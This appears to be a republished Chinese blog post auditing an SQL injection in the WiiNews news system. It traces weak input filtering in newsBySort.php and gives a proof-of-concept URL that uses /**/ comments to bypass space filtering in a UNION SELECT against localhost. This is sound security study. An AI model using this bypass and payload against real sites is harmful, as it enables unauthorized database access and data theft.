WiiNews新闻系统 SQL注入

Posted xsr7yer

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WiiNews新闻系统 SQL注入相关的知识,希望对你有一定的参考价值。

刚开始学习代码审计,根据法师的书本和相关资料进行慢慢开始练手,这里了一款WiiNews老版本针对于练手来讲还是比较简单通俗易懂的系统来做审计!

#1 SQL注入

文件:/newsBySort.php

代码10~18行:

	$sort=sqlReplace(trim($_GET[‘id‘]));    
	$sqlStr="select * from wiinews_newssort where newssort_id=$sort";
	$result = mysql_query($sqlStr) or die ("查询失败,请检查SQL语句。编码号:1007");
	$row = mysql_fetch_array($result);
	if ($row){
		$sortName=$row[‘newssort_name‘];
	}else{
		die ("分类不存在。");
	}

  

$sort=sqlReplace(trim($_GET[‘id‘]));

id参数通过$_GET以后给sqlReplace函数处理、trim函数做是处理首尾处的空白字符。

下面跟进sqlReplace函数:

function sqlReplace($str)
{
   $strResult = $str;
   if(!get_magic_quotes_gpc())
  //如果gpc没有开 { $strResult = addslashes($strResult);
   //编码 } return htmlEncode($strResult);
  //gpc开的话,返回HTMLEncode() }

$str传输进来判断如果gpc没有开启的话通过php内置函数addslashes()进行处理。如果开启的话则用HTMLEncode来处理。

function HTMLEncode($str){
	if (!empty($str)){
		$str=str_replace("&","&",$str);
		$str=str_replace(">",">",$str);
		$str=str_replace("<","<",$str);
		$str=str_replace(CHR(32)," ",$str);  //空格
		$str=str_replace(CHR(9),"    ",$str);
		$str=str_replace(CHR(9),"    ",$str);
		$str=str_replace(CHR(34),""",$str);  //双引号
		$str=str_replace(CHR(39),"‘",$str);  //单引号
		$str=str_replace(CHR(13),"",$str);
		$str=str_replace(CHR(10),"<br/>",$str);
	}
	return $str;
}

这里只拦截了引号、空格、并没有拦截类似and、select等函数。

技术分享图片

技术分享图片

通过数据库日志记录可以看到空格等相关的转义带入查询、这里可以用/**/注释一句来绕过SQL注入。

 技术分享图片

Url:http://127.0.0.1/WiiNews/newsBySort.php?id=1/**/and/**/1=2/**/union/**/select/**/1,version(),3,4,5,6

技术分享图片

 




以上是关于WiiNews新闻系统 SQL注入的主要内容,如果未能解决你的问题,请参考以下文章

以下代码片段是不是容易受到 Rails 5 中 SQL 注入的影响?

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段

通读审计之wiinews

Mybatis框架下易产生SQL注入漏洞的场景和修复方法

mybatis如何防止sql注入

SQL注入(手工篇)